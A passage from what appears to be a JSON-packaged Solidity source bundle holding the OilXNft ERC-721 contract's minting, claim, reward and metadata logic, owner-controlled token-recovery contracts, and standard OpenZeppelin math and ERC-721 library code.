{\n blackNFTid = tokenOfOwnerByIndex(holder, i);\n if (tokenIdTokenType[blackNFTid] == OilXNftTokenType.BLACK) {\n return uint32(blackNFTid);\n }\n }\n return 0; \n }\n\n /**\n * @notice mint a new OilX NFT\n * @param to The address of the new NFT owner\n * @param tokenType The type of the NFT (PLATINUM, GOLD, SILVER, BLACK)\n * @param oilXTokenClaimable The amount of OILX tokens the NFT can claim\n */\n function safeMint(address to, OilXNftTokenType tokenType, uint256 oilXTokenClaimable)\n public\n onlyRole(MINTER_ROLE)\n {\n if (tokenType == OilXNftTokenType.SILVER) {\n require(oilXTokenClaimable % 1000 == 0, \"SILVER NFT can only claim a mutiple of 1,000 OILX.\");\n require(oilXTokenClaimable <= 9_000, \"SILVER NFT can claim maxium 9,000 OILX.\");\n require(\n remainingToken[OilXNftTokenType.SILVER] >= oilXTokenClaimable, \"Not enough OILX for SILVER NFT left.\"\n );\n } else if (tokenType == OilXNftTokenType.GOLD) {\n require(oilXTokenClaimable % 10_000 == 0, \"GOLD NFT can only claim a mutiple of 10,000 OILX.\");\n require(oilXTokenClaimable <= 90_000, \"GOLD NFT can claim maxium 90,000 OILX.\");\n require(remainingToken[OilXNftTokenType.GOLD] >= oilXTokenClaimable, \"Not enough OILX for GOLD NFT left.\");\n } else if (tokenType == OilXNftTokenType.PLATINUM) {\n require(oilXTokenClaimable == 100_000, \"PLATINUM NFT can only claim exact of 100,000 OILX.\");\n require(\n remainingToken[OilXNftTokenType.PLATINUM] >= oilXTokenClaimable, \"Not enough OILX for PLATINUM NFT left.\"\n );\n } else if (tokenType == OilXNftTokenType.DIAMOND) {\n require(oilXTokenClaimable == 1_000_000, \"DIAMOND NFT can only claim exact of 1,000,000 OILX.\");\n require(\n remainingToken[OilXNftTokenType.DIAMOND] >= oilXTokenClaimable, \"Not enough OILX for DIAMOND NFT left.\"\n );\n } else if (tokenType == OilXNftTokenType.BLACK) {\n // black NFT already exists for address?\n if (getHolderBlackTokenID(to) != 0) {\n revert(\"BLACK NFT already exists for address\");\n }\n // Rewards program closed?\n require(!isRewardProgramClosed, \"Rewards program closed\");\n require(oilXTokenClaimable <= 1_000_000, \"BLACK NFT maximum OILX amount exceeded.\"); \n } \n else {\n revert(\"Invalid NFT type\");\n }\n\n uint256 tokenId = _nextTokenId++;\n _safeMint(to, tokenId);\n tokenIdTokenType[tokenId] = tokenType;\n tokenIdOilXClaimable[tokenId] = oilXTokenClaimable;\n tokenIdOilXAmount[tokenId] = oilXTokenClaimable; // OilX amount for each NFT to calculate Fees\n emit MintOilXNFT(to, tokenId, tokenType, oilXTokenClaimable);\n\n if (tokenType != OilXNftTokenType.BLACK) {\n remainingToken[tokenType] -= oilXTokenClaimable;\n soldTokenType[tokenType]++;\n totalOilXCoinSold += oilXTokenClaimable;\n } else {\n if (tokenId == 0) {\n revert(\"TokenID 0 should not be a BlackNFT\");\n }\n totalOilXCoinReward += oilXTokenClaimable;\n }\n }\n\n /**\n * @notice returns claimable OILX and resets to 0, for a given tokenId\n * @param tokenId ID of an OilXNFT \n * @return The amount of OILX which can be claimed\n */\n function resetClaimableOilX(uint256 tokenId) public returns (uint256) {\n require(msg.sender == addressTokenSaleClaimer, \"only token sale claimer contract can use this function\");\n require(_ownerOf(tokenId) != address(0), \"operator query for nonexistent token\");\n require(tokenIdOilXClaimable[tokenId] > 0, \"OilXNft: no OilXCoin to claim\");\n\n /* important oilXtoClaim is NOT in 18 decimals */\n uint256 oilXToClaim = tokenIdOilXClaimable[tokenId];\n tokenIdOilXClaimable[tokenId] = 0;\n\n emit OilXClaimed(tokenId, oilXToClaim);\n emit MetadataUpdate(tokenId);\n return oilXToClaim;\n }\n\n /**\n * @notice OilXCoin token contract can set the address of the token sale claimer contract\n * @param newAddress The address of the new token sale claimer contract\n */ \n function setAddressTokenSaleClaimer(address newAddress) public {\n require(msg.sender == addressOilXCoin, \"only OilXCoin contract can use this function\");\n require(newAddress != address(0), \"new address is the zero address\");\n emit AddressTokenSaleClaimerChanged(addressTokenSaleClaimer, newAddress);\n addressTokenSaleClaimer = newAddress;\n }\n\n /**\n * @notice increase BLACK NFT OilX amount for Token ID\n * @param tokenId The ID of the Black NFT to increase OilX Rewards\n * @param oilXAmount The amount of OILX to increase\n */\n function increaseOilXRewards(uint256 tokenId, uint256 oilXAmount) public onlyRole(REWARD_ROLE) {\n require(!isRewardProgramClosed, \"Reward program closed\");\n require(tokenIdTokenType[tokenId] == OilXNftTokenType.BLACK, \"only BLACK NFT can collect OilX rewards\");\n \n tokenIdOilXAmount[tokenId] += oilXAmount;\n require(tokenIdOilXAmount[tokenId] <= 1_000_000, \"BLACK NFT maximum OILX amount exceeded.\"); \n \n tokenIdOilXClaimable[tokenId] += oilXAmount;\n totalOilXCoinReward += oilXAmount;\n emit RewardsBlackNFT(tokenId, oilXAmount);\n emit MetadataUpdate(tokenId);\n }\n\n function closeRewardProgram() public onlyRole(DEFAULT_ADMIN_ROLE) { \n require(!isRewardProgramClosed, \"Reward program already closed\");\n isRewardProgramClosed = true;\n emit RewardProgrammClosed();\n }\n\n /**\n * @notice increase amount of claimed ERC-20 fees for NFT. Function will be called by the fee claiming contract\n * @param tokenId The ID of the NFT to increase the claimed fee amount\n * @param feeAmount The amount of ERC-20 fees to increase\n */\n function increaseClaimedOilXFee(uint256 tokenId, uint256 feeAmount) public {\n /* important oilXAmount is in 18 decimals */\n require(msg.sender == addressFeeClaimer, \"only fee claimer contract can use this function\");\n require(_ownerOf(tokenId) != address(0), \"operator query for nonexistent token\");\n require(tokenIdTokenType[tokenId] != OilXNftTokenType.BLACK, \"BLACK NFT cannot claim fees\");\n\n tokenIdOilXFeeClaimed[tokenId] += feeAmount;\n\n emit ClaimedFeeIncreased(tokenId, feeAmount);\n emit MetadataUpdate(tokenId);\n }\n\n /**\n * @notice OilXCoin token contract can set the address of the fee claimer contract\n * @param newAddress The address of the new fee claimer contract\n */ \n function setAddressFeeClaimer(address newAddress) public {\n require(msg.sender == addressOilXCoin, \"only OilXCoin contract can use this function\");\n require(newAddress != address(0), \"new address is the zero address\");\n emit AddressFeeClaimerChanged(addressFeeClaimer, newAddress);\n addressFeeClaimer = newAddress;\n }\n\n /**\n * @notice set OilXCoin ERC-20 token contract address once\n * @param finalAddress The address of the OilXCoin ERC-20 token contract\n */\n function setAddressOilXCoin(address finalAddress) public {\n if ( isAddressOilXCoinSet ) {\n require(msg.sender == addressOilXCoin, \"only OilXCoin contract can use this function\");\n } else {\n require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), \"only admin can use this function\");\n }\n \n require(finalAddress != address(0), \"new address is the zero address\");\n emit AddressOilXCoinChanged(addressOilXCoin, finalAddress);\n addressOilXCoin = finalAddress;\n isAddressOilXCoinSet = true;\n }\n\n /**\n * @notice Contract for rendering onchain or offchain metadata\n * @param newAddr The address of the contract implementing the NftMeta interface / abstract contract above\n */\n function updateMetaData(address newAddr) public onlyRole(META_UPDATER) {\n addressMetaRenderer = newAddr;\n if (totalSupply() > 0) emit BatchMetadataUpdate(0, totalSupply() - 1);\n }\n\n /**\n * @notice \"empty\" TokenURI function to be overridden by the metadata rendering contract\n * @param addressNft of this NFT contract for callbacks\n * @param tokenId The ID of the NFT to update the metadata\n */\n function getTokenURI(address addressNft, uint256 tokenId) public view returns (bytes memory) {\n address renderer = OilXNft(addressNft).addressMetaRenderer();\n return abi.encodePacked(\"Metadata not bound\", Strings.toHexString(addressNft), \" \", Strings.toHexString(renderer), \" \", Strings.toString(tokenId));\n }\n\n /**\n * @notice ERC-721 Standard TokenURI function\n * @param tokenId The ID of the NFT to update the metadata\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n _requireOwned(tokenId);\n NftMetadataRenderer metadataRenderer = NftMetadataRenderer(addressMetaRenderer);\n\n bytes memory data = metadataRenderer.getTokenURI(address(this), tokenId);\n\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(data)));\n }\n\n // The following functions are overrides required by Solidity.\n\n function _update(address to, uint256 tokenId, address auth)\n internal\n override(ERC721, ERC721Enumerable)\n returns (address)\n {\n return super._update(to, tokenId, auth);\n }\n\n function _increaseBalance(address account, uint128 value) internal override(ERC721, ERC721Enumerable) {\n super._increaseBalance(account, value);\n }\n\n function supportsInterface(bytes4 interfaceId)\n public\n view\n override(IERC165, ERC721, ERC721Enumerable, AccessControl)\n returns (bool)\n {\n // https://eips.ethereum.org/EIPS/eip-4906 IERC4906 Events\n return interfaceId == bytes4(0x49064906) || super.supportsInterface(interfaceId);\n }\n}\n"
},
"src/WithdrawContracts.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC1155.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\nimport \"@openzeppelin/contracts/access/AccessControl.sol\";\n\n/*\n* @title Contract to Recover Tokens or ETH sent by mistake to the contract\n* @author OilXCoin.io Dev Team\n* @notice Release Tests\n*/\ncontract WidthdrawContractsOwnable is Ownable {\n constructor(address _initialOwner) Ownable(_initialOwner) {}\n\n event WithdrawERC20(address indexed tokenAddress, address indexed to, uint256 amount);\n event WithdrawERC721(address indexed tokenAddress, address indexed to, uint256 tokenId);\n event WithdrawERC1155(address indexed tokenAddress, address indexed to, uint256 tokenId, uint256 amount);\n event WithdrawETH(address indexed to, uint256 amount);\n\n /**\n * @dev Withdraw all ERC20 tokens from the contract\n * @param _tokenAddress Address of the ERC20 contract\n * @param _to Address to send the tokens to\n */\n function withdrawERC20(address _tokenAddress, address _to) public onlyOwner {\n\n // todo tokenadress != oilx.ERC20 //withdraw erc20 from feeclaimer not allowed\n\n IERC20 token = IERC20(_tokenAddress);\n uint256 balance = token.balanceOf(address(this));\n emit WithdrawERC20(_tokenAddress, _to, balance);\n token.transfer(_to, balance);\n }\n\n /**\n * @dev Withdraw all ERC721 tokens from the contract\n * @param _tokenAddress Address of the ERC721 contract\n * @param _to Address to send the tokens to\n */\n function withdrawERC721(address _tokenAddress, address _to, uint256 _tokenId) public onlyOwner {\n emit WithdrawERC721(_tokenAddress, _to, _tokenId);\n IERC721(_tokenAddress).safeTransferFrom(address(this), _to, _tokenId);\n }\n\n /**\n * @dev Withdraw all ERC1155 tokens from the contract\n * @param _tokenAddress Address of the ERC1155 contract\n * @param _to Address to send the tokens to\n */\n function withdrawERC1155(address _tokenAddress, address _to, uint256 _tokenId) public onlyOwner {\n IERC1155 token = IERC1155(_tokenAddress);\n uint256 balance = token.balanceOf(address(this), _tokenId);\n emit WithdrawERC1155(_tokenAddress, _to, _tokenId, balance);\n token.safeTransferFrom(address(this), _to, _tokenId, balance, \"\");\n }\n\n /**\n * @dev Withdraw all ETH from the contract\n */\n function withdrawETH(address payable _to) public onlyOwner {\n uint256 balance = address(this).balance;\n emit WithdrawETH(_to, balance);\n _to.transfer(balance);\n }\n}\n\n/*\n* @title Contract to Recover Tokens or ETH sent by mistake to the contract\n* @author OilXCoin.io Dev Team\n* @notice Release Tests\n*/\ncontract WidthdrawContractsAccessControl is AccessControl {\n bytes32 public constant WITHDRAWCONTRACT_ROLE = keccak256(\"WITHDRAWCONTRACT_ROLE\");\n\n constructor(address _initialOwner) {\n _grantRole(WITHDRAWCONTRACT_ROLE, _initialOwner);\n }\n\n event WithdrawERC20(address indexed tokenAddress, address indexed to, uint256 amount);\n event WithdrawERC721(address indexed tokenAddress, address indexed to, uint256 tokenId);\n event WithdrawERC1155(address indexed tokenAddress, address indexed to, uint256 tokenId, uint256 amount);\n event WithdrawETH(address indexed to, uint256 amount);\n\n /**\n * @dev Withdraw all ERC20 tokens from the contract\n * @param _tokenAddress Address of the ERC20 contract\n * @param _to Address to send the tokens to\n */\n function withdrawERC20(address _tokenAddress, address _to) public onlyRole(WITHDRAWCONTRACT_ROLE) {\n IERC20 token = IERC20(_tokenAddress);\n uint256 balance = token.balanceOf(address(this));\n emit WithdrawERC20(_tokenAddress, _to, balance);\n token.transfer(_to, balance);\n }\n\n /**\n * @dev Withdraw all ERC721 tokens from the contract\n * @param _tokenAddress Address of the ERC721 contract\n * @param _to Address to send the tokens to\n */\n function withdrawERC721(address _tokenAddress, address _to, uint256 _tokenId)\n public\n onlyRole(WITHDRAWCONTRACT_ROLE)\n {\n emit WithdrawERC721(_tokenAddress, _to, _tokenId);\n IERC721(_tokenAddress).safeTransferFrom(address(this), _to, _tokenId);\n }\n\n /**\n * @dev Withdraw all ERC1155 tokens from the contract\n * @param _tokenAddress Address of the ERC1155 contract\n * @param _to Address to send the tokens to\n */\n function withdrawERC1155(address _tokenAddress, address _to, uint256 _tokenId)\n public\n onlyRole(WITHDRAWCONTRACT_ROLE)\n {\n IERC1155 token = IERC1155(_tokenAddress);\n uint256 balance = token.balanceOf(address(this), _tokenId);\n emit WithdrawERC1155(_tokenAddress, _to, _tokenId, balance);\n token.safeTransferFrom(address(this), _to, _tokenId, balance, \"\");\n }\n\n /**\n * @dev Withdraw all ETH from the contract\n */\n function withdrawETH(address payable _to) public onlyRole(WITHDRAWCONTRACT_ROLE) {\n uint256 balance = address(this).balance;\n emit WithdrawETH(_to, balance);\n _to.transfer(balance);\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n /**\n * @dev Muldiv operation overflow.\n */\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor, // Toward negative infinity\n Ceil, // Toward positive infinity\n Trunc, // Toward zero\n Expand // Away from zero\n }\n\n /**\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\n */\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, with an overflow flag.\n */\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n */\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\n */\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n */\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds towards infinity instead\n * of rounding towards zero.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n // Guarantee the same behavior as in a regular Solidity division.\n return a / b;\n }\n\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or\n * denominator == 0.\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by\n * Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0 = x * y; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator.\n // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.\n\n uint256 twos = denominator & (0 - denominator);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also\n // works in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded\n * towards zero.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.\n */\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC721} from \"./IERC721.sol\";\nimport {IERC721Receiver} from \"./IERC721Receiver.sol\";\nimport {IERC721Metadata} from \"./extensions/IERC721Metadata.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {Strings} from \"../../utils/Strings.sol\";\nimport {IERC165, ERC165} from \"../../utils/introspection/ERC165.sol\";\nimport {IERC721Errors} from \"../../interfaces/draft-IERC6093.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\nabstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Errors {\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n mapping(uint256 tokenId => address) private _owners;\n\n mapping(address owner => uint256) private _balances;\n\n mapping(uint256 tokenId => address) private _tokenApprovals;\n\n mapping(address owner => mapping(address operator => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual returns (uint256) {\n if (owner == address(0)) {\n revert ERC721InvalidOwner(address(0));\n }\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual returns (address) {\n return _requireOwned(tokenId);\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual returns (string memory) {\n _requireOwned(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string.concat(baseURI, tokenId.toString()) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual {\n _approve(to, tokenId, _msgSender());\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual returns (address) {\n _requireOwned(tokenId);\n\n return _getApproved(tokenId);\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(address from, address to, uint256 tokenId) public virtual {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n // Setting an \"auth\" arguments enables the `_isAuthorized` check which verifies that the token exists\n // (from != 0). Therefore, it is not needed to verify that the return value is not 0 here.\n address previousOwner = _update(to, tokenId, _msgSender());\n if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, 